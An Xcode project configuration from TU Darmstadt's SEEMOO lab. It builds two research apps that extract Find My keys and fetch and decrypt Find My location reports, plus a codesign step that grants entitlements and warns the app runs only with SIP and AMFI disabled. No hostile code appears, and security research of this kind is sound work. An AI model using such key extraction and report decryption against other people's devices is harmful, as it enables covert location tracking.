782AC6DB25F0E4C800554BF4 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 782AC6DA25F0E4C800554BF4 /* NIOSSL */; };
782AC6DE25F0E4D900554BF4 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 782AC6DD25F0E4D900554BF4 /* Crypto */; };
7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */; };
78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF8994248E5E71002F39E1 /* FindMyModels.swift */; };
78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78DF899A248E7D8D002F39E1 /* SavePanel.swift */; };
/* End PBXBuildFile section */
/* Begin PBXContainerItemProxy section */
782AC6C925F0E2EB00554BF4 /* PBXContainerItemProxy */ = {
isa = PBXContainerItemProxy;
containerPortal = 78097EBB248E27E700096FCA /* Project object */;
proxyType = 1;
remoteGlobalIDString = 782AC69D25F0DF3000554BF4;
remoteInfo = OFFetchReports;
};
/* End PBXContainerItemProxy section */
/* Begin PBXFileReference section */
78097EC3248E27E700096FCA /* OFReadKeys.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFReadKeys.app; sourceTree = BUILT_PRODUCTS_DIR; };
78097EC6248E27E700096FCA /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
78097EC8248E27E700096FCA /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = "<group>"; };
78097ECA248E27E800096FCA /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
78097ECD248E27E800096FCA /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
78097ED0248E27E800096FCA /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
78097ED2248E27E800096FCA /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
78097ED3248E27E800096FCA /* OFReadKeys.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = OFReadKeys.entitlements; sourceTree = "<group>"; };
781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyKeyExtractor.swift; sourceTree = "<group>"; };
782AC69E25F0DF3000554BF4 /* OFFetchReports.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFFetchReports.app; sourceTree = BUILT_PRODUCTS_DIR; };
782AC6A025F0DF3000554BF4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
782AC6A425F0DF3100554BF4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
782AC6AA25F0DF3100554BF4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
782AC6AC25F0DF3100554BF4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = OFFetchReportsMainView.swift; sourceTree = "<group>"; };
782AC6B225F0DF7C00554BF4 /* MapView.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MapView.swift; sourceTree = "<group>"; };
782AC6B525F0DFF200554BF4 /* OFFetchReports.entitlements */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.entitlements; path = OFFetchReports.entitlements; sourceTree = "<group>"; };
782AC6B625F0DFF200554BF4 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
782AC6B725F0DFF200554BF4 /* MapViewController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MapViewController.swift; sourceTree = "<group>"; };
782AC6B825F0DFF200554BF4 /* MapViewController.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; path = MapViewController.xib; sourceTree = "<group>"; };
782AC6BF25F0E02200554BF4 /* BoringSSL.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = BoringSSL.m; sourceTree = "<group>"; };
782AC6C025F0E02200554BF4 /* BoringSSL.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = BoringSSL.h; sourceTree = "<group>"; };
782AC6C225F0E07200554BF4 /* Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Bridging-Header.h"; sourceTree = "<group>"; };
782AC6CB25F0E33000554BF4 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FindMyKeyDecoder.swift; sourceTree = "<group>"; };
782AC6CF25F0E3F600554BF4 /* FindMyController.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = FindMyController.swift; sourceTree = "<group>"; };
782AC6D025F0E3F600554BF4 /* Models.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = Models.swift; sourceTree = "<group>"; };
782AC6D625F0E3FE00554BF4 /* ReportsFetcher.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ReportsFetcher.m; sourceTree = "<group>"; };
7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = FindMyKeyDecoder.swift; path = ../../../OpenHaystack/OpenHaystack/FindMy/FindMyKeyDecoder.swift; sourceTree = "<group>"; };
78DF8994248E5E71002F39E1 /* FindMyModels.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyModels.swift; sourceTree = "<group>"; };
78DF899A248E7D8D002F39E1 /* SavePanel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
78097EC0248E27E700096FCA /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
782AC69B25F0DF3000554BF4 /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
782AC6DB25F0E4C800554BF4 /* NIOSSL in Frameworks */,
782AC6DE25F0E4D900554BF4 /* Crypto in Frameworks */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
78097EBA248E27E700096FCA = {
isa = PBXGroup;
children = (
782AC6CB25F0E33000554BF4 /* .swiftlint.yml */,
78097EC5248E27E700096FCA /* OFReadKeys */,
782AC69F25F0DF3000554BF4 /* OFFetchReports */,
78097EC4248E27E700096FCA /* Products */,
);
sourceTree = "<group>";
};
78097EC4248E27E700096FCA /* Products */ = {
isa = PBXGroup;
children = (
78097EC3248E27E700096FCA /* OFReadKeys.app */,
782AC69E25F0DF3000554BF4 /* OFFetchReports.app */,
);
name = Products;
sourceTree = "<group>";
};
78097EC5248E27E700096FCA /* OFReadKeys */ = {
isa = PBXGroup;
children = (
78097EC6248E27E700096FCA /* AppDelegate.swift */,
78097EC8248E27E700096FCA /* ContentView.swift */,
7840717E25EE41E5005729F0 /* FindMyKeyDecoder.swift */,
78DF8994248E5E71002F39E1 /* FindMyModels.swift */,
781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */,
78DF899A248E7D8D002F39E1 /* SavePanel.swift */,
78097ECA248E27E800096FCA /* Assets.xcassets */,
78097ECF248E27E800096FCA /* Main.storyboard */,
78097ED2248E27E800096FCA /* Info.plist */,
78097ED3248E27E800096FCA /* OFReadKeys.entitlements */,
78097ECC248E27E800096FCA /* Preview Content */,
);
path = OFReadKeys;
sourceTree = "<group>";
};
78097ECC248E27E800096FCA /* Preview Content */ = {
isa = PBXGroup;
children = (
78097ECD248E27E800096FCA /* Preview Assets.xcassets */,
);
path = "Preview Content";
sourceTree = "<group>";
};
782AC69F25F0DF3000554BF4 /* OFFetchReports */ = {
isa = PBXGroup;
children = (
782AC6CC25F0E3F600554BF4 /* FindMy */,
782AC6BE25F0E02200554BF4 /* BoringSSL */,
782AC6B225F0DF7C00554BF4 /* MapView.swift */,
782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */,
782AC6A025F0DF3000554BF4 /* AppDelegate.swift */,
782AC6B725F0DFF200554BF4 /* MapViewController.swift */,
782AC6B825F0DFF200554BF4 /* MapViewController.xib */,
782AC6B525F0DFF200554BF4 /* OFFetchReports.entitlements */,
782AC6B625F0DFF200554BF4 /* SavePanel.swift */,
782AC6A425F0DF3100554BF4 /* Assets.xcassets */,
782AC6A925F0DF3100554BF4 /* Main.storyboard */,
782AC6AC25F0DF3100554BF4 /* Info.plist */,
782AC6A625F0DF3100554BF4 /* Preview Content */,
);
path = OFFetchReports;
sourceTree = "<group>";
};
782AC6A625F0DF3100554BF4 /* Preview Content */ = {
isa = PBXGroup;
children = (
782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */,
);
path = "Preview Content";
sourceTree = "<group>";
};
782AC6BE25F0E02200554BF4 /* BoringSSL */ = {
isa = PBXGroup;
children = (
782AC6BF25F0E02200554BF4 /* BoringSSL.m */,
782AC6C025F0E02200554BF4 /* BoringSSL.h */,
782AC6C225F0E07200554BF4 /* Bridging-Header.h */,
);
path = BoringSSL;
sourceTree = "<group>";
};
782AC6CC25F0E3F600554BF4 /* FindMy */ = {
isa = PBXGroup;
children = (
782AC6D525F0E3FE00554BF4 /* ReportsFetcher */,
782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */,
782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */,
782AC6CF25F0E3F600554BF4 /* FindMyController.swift */,
782AC6D025F0E3F600554BF4 /* Models.swift */,
);
path = FindMy;
sourceTree = "<group>";
};
782AC6D525F0E3FE00554BF4 /* ReportsFetcher */ = {
isa = PBXGroup;
children = (
782AC6D625F0E3FE00554BF4 /* ReportsFetcher.h */,
782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */,
);
name = ReportsFetcher;
path = OFFetchReports/ReportsFetcher;
sourceTree = SOURCE_ROOT;
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
78097EC2248E27E700096FCA /* OFReadKeys */ = {
isa = PBXNativeTarget;
buildConfigurationList = 78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */;
buildPhases = (
78097EBF248E27E700096FCA /* Sources */,
78097EC0248E27E700096FCA /* Frameworks */,
78097EC1248E27E700096FCA /* Resources */,
78FFC97C25EE98680062F878 /* SwiftLint */,
);
buildRules = (
);
dependencies = (
);
name = OFReadKeys;
productName = Read_FindMy_Keys;
productReference = 78097EC3248E27E700096FCA /* OFReadKeys.app */;
productType = "com.apple.product-type.application";
};
782AC69D25F0DF3000554BF4 /* OFFetchReports */ = {
isa = PBXNativeTarget;
buildConfigurationList = 782AC6B025F0DF3100554BF4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */;
buildPhases = (
782AC69A25F0DF3000554BF4 /* Sources */,
782AC69B25F0DF3000554BF4 /* Frameworks */,
782AC69C25F0DF3000554BF4 /* Resources */,
782AC6C325F0E2A300554BF4 /* SwiftLint */,
);
buildRules = (
);
dependencies = (
);
name = OFFetchReports;
packageProductDependencies = (
782AC6DA25F0E4C800554BF4 /* NIOSSL */,
782AC6DD25F0E4D900554BF4 /* Crypto */,
);
productName = OFFetchReports;
productReference = 782AC69E25F0DF3000554BF4 /* OFFetchReports.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
78097EBB248E27E700096FCA /* Project object */ = {
isa = PBXProject;
attributes = {
LastSwiftUpdateCheck = 1250;
LastUpgradeCheck = 1150;
ORGANIZATIONNAME = "SEEMOO - TU Darmstadt";
TargetAttributes = {
78097EC2248E27E700096FCA = {
CreatedOnToolsVersion = 11.5;
};
782AC69D25F0DF3000554BF4 = {
CreatedOnToolsVersion = 12.5;
};
782AC6C425F0E2D200554BF4 = {
CreatedOnToolsVersion = 12.5;
};
};
};
buildConfigurationList = 78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */;
compatibilityVersion = "Xcode 9.3";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = 78097EBA248E27E700096FCA;
packageReferences = (
782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */,
782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */,
);
productRefGroup = 78097EC4248E27E700096FCA /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
78097EC2248E27E700096FCA /* OFReadKeys */,
782AC69D25F0DF3000554BF4 /* OFFetchReports */,
782AC6C425F0E2D200554BF4 /* Run OFFetchReports */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
78097EC1248E27E700096FCA /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78097ED1248E27E800096FCA /* Main.storyboard in Resources */,
78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */,
78097ECB248E27E800096FCA /* Assets.xcassets in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
782AC69C25F0DF3000554BF4 /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
782AC6AB25F0DF3100554BF4 /* Main.storyboard in Resources */,
782AC6A825F0DF3100554BF4 /* Preview Assets.xcassets in Resources */,
782AC6A525F0DF3100554BF4 /* Assets.xcassets in Resources */,
782AC6BC25F0DFF200554BF4 /* MapViewController.xib in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXShellScriptBuildPhase section */
782AC6C325F0E2A300554BF4 /* SwiftLint */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = SwiftLint;
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "if which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
};
782AC6C825F0E2DC00554BF4 /* Codesign App with Entitlements */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = "Codesign App with Entitlements";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "#bin/sh\nidentities=$(security find-identity -p codesigning -v)\n#echo \"${identities}\"\npat=' ([0-9ABCDEF]+) '\n[[ $identities =~ $pat ]]\n# Can be set to a codesign identity manually\nIDT=\"${BASH_REMATCH[1]}\"\nif [ -z ${IDT+x} ]; then\n echo \"error: Please set the codesigning identity above. \\nThe identity can be found with $ security find-identities -v -p codesigning\"\nelse\n codesign --entitlements ${SRCROOT}/OFFetchReports/OFFetchReports.entitlements -fs ${IDT} ${TARGET_BUILD_DIR}/OFFetchReports.app/Contents/MacOS/OFFetchReports\n echo \"warning: This app will only run on macOS systems with SIP & AMFI disabled. This should only be done on dedicated test systems\"\nfi\n";
};
78FFC97C25EE98680062F878 /* SwiftLint */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = SwiftLint;
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# Type a script or drag a script file from your workspace to insert its path.\nif which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
};
/* End PBXShellScriptBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
78097EBF248E27E700096FCA /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78DF8995248E5E71002F39E1 /* FindMyModels.swift in Sources */,
78DF899B248E7D8D002F39E1 /* SavePanel.swift in Sources */,
78097EC9248E27E700096FCA /* ContentView.swift in Sources */,
781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */,
78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */,
7840717F25EE41E5005729F0 /* FindMyKeyDecoder.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
782AC69A25F0DF3000554BF4 /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
782AC6D125F0E3F600554BF4 /* DecryptReports.swift in Sources */,
782AC6B325F0DF7C00554BF4 /* OFFetchReportsMainView.swift in Sources */,
782AC6D825F0E3FE00554BF4 /* ReportsFetcher.m in Sources */,
782AC6BB25F0DFF200554BF4 /* MapViewController.swift in Sources */,
782AC6B425F0DF7C00554BF4 /* MapView.swift in Sources */,
782AC6BA25F0DFF200554BF4 /* SavePanel.swift in Sources */,
782AC6A125F0DF3000554BF4 /* AppDelegate.swift in Sources */,
782AC6C125F0E02200554BF4 /* BoringSSL.m in Sources */,
782AC6D325F0E3F600554BF4 /* FindMyController.swift in Sources */,
782AC6D225F0E3F600554BF4 /* FindMyKeyDecoder.swift in Sources */,
782AC6D425F0E3F600554BF4 /* Models.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXTargetDependency section */
782AC6CA25F0E2EB00554BF4 /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
target = 782AC69D25F0DF3000554BF4 /* OFFetchReports */;
targetProxy = 782AC6C925F0E2EB00554BF4 /* PBXContainerItemProxy */;
};
/* End PBXTargetDependency section */
/* Begin PBXVariantGroup section */
78097ECF248E27E800096FCA /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
78097ED0248E27E800096FCA /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
782AC6A925F0DF3100554BF4 /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
782AC6AA25F0DF3100554BF4 /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
78097ED4248E27E800096FCA /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.15;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = macosx;
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
SWIFT_OPTIMIZATION_LEVEL = "-Onone";
};
name = Debug;
};
78097ED5248E27E800096FCA /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
CLANG_CXX_LIBRARY = "libc++";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.15;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = macosx;
SWIFT_COMPILATION_MODE = wholemodule;
SWIFT_OPTIMIZATION_LEVEL = "-O";
};
name = Release;
};
78097ED7248E27E800096FCA /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = YES;
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFReadKeys/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
78097ED8248E27E800096FCA /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = YES;
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFReadKeys/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_VERSION = 5.0;
};
name = Release;
};
782AC6AE25F0DF3100554BF4 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFFetchReports/Preview Content\"";
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFFetchReports/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFFetchReports";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "$(SRCROOT)/OFFetchReports/BoringSSL/Bridging-Header.h";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
782AC6AF25F0DF3100554BF4 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFFetchReports/Preview Content\"";
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFFetchReports/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFFetchReports";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "$(SRCROOT)/OFFetchReports/BoringSSL/Bridging-Header.h";
SWIFT_VERSION = 5.0;
};
name = Release;
};
